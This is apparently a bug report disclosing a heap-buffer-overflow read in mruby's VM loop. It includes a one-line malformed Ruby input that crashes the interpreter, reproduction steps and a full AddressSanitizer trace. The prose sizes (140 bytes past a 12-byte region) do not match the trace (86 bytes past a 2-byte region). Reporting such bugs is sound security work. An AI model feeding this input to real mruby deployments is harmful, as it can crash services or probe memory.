Description
We discovered a Heap-buffer-overflow vulnerability in mruby. The crash occurs in the main VM loop (mrb_vm_exec) when executing bytecode generated from a specifically malformed Ruby source string.
The ASAN report indicates a READ memory access violation 140 bytes beyond a small allocated region. The region was allocated during code generation (scope_finish), but the VM attempts to access registers beyond this scope.
Environment
- OS: Linux x86_64
- Complier: Clang
- Build Configuration: Release mode with ASan enabled.
Vulnerability Details
- Target: mruby
- Vulnerability Type: Heap-buffer-overflow (READ)
- Function: mrb_vm_exec
- Location: src/vm.c:1953
- Root Cause Analysis: The vulnerability stems from a discrepancy between the parser/compiler and the VM:
- The parser accepts the malformed source R=>^ą;0 containing non-ASCII characters and operators without raising a SyntaxError.
- The code generator (codegen.c, scope_finish) calculates the required stack size for this scope and allocates a small region (12 bytes).
- However, the generated bytecode contains instructions that access register indices far beyond this allocated size (offset 140).
- When mrb_vm_exec executes these instructions, it reads from unmapped heap memory.
Reproduce
- Build mruby with Release optimization and ASAN enabled.
- Run with the crashing file:
R=>^ą;0
./bin/mruby poc
ASAN report
==2323==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002a68 at pc 0x561029ce08be bp 0x7fffc668f610 sp 0x7fffc668f608
READ of size 4 at 0x502000002a68 thread T0
#0 0x561029ce08bd in mrb_vm_exec /src/mruby/src/vm.c:1953:43
#1 0x561029d0f489 in mrb_load_exec /src/mruby/mrbgems/mruby-compiler/core/parse.y:7786:7
#2 0x561029d105f7 in mrb_load_detect_file_cxt /src/mruby/mrbgems/mruby-compiler/core/parse.y:7829:12
#3 0x561029bb504e in main /src/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:355:11
#4 0x7f812d33e1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#5 0x7f812d33e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#6 0x561029acf894 in _start (/src/mruby/build/host/bin/mruby+0xb9894) (BuildId: 4a1aaec9cda2051f49b103ec09909d7efb47b987)
0x502000002a68 is located 86 bytes after 2-byte region [0x502000002a10,0x502000002a12)
allocated by thread T0 here:
#0 0x561029b6fae0 in realloc (/src/mruby/build/host/bin/mruby+0x159ae0) (BuildId: 4a1aaec9cda2051f49b103ec09909d7efb47b987)
#1 0x561029bff7bd in mrb_realloc_simple /src/mruby/src/gc.c:202:8
#2 0x561029bff7bd in mrb_realloc /src/mruby/src/gc.c:216:8
#3 0x561029bff7bd in mrb_malloc /src/mruby/src/gc.c:232:10
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/mruby/src/vm.c:1953:43 in mrb_vm_exec
Shadow bytes around the buggy address:
0x502000002780: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x502000002800: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x502000002880: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 03 fa
0x502000002900: fa fa fd fa fa fa 04 fa fa fa fd fa fa fa fd fa
0x502000002980: fa fa 00 00 fa fa 00 00 fa fa 00 04 fa fa 00 fa
=>0x502000002a00: fa fa 02 fa fa fa fa fa fa fa fa fa fa[fa]fa fa
0x502000002a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000002b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000002b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000002c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x502000002c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2323==ABORTING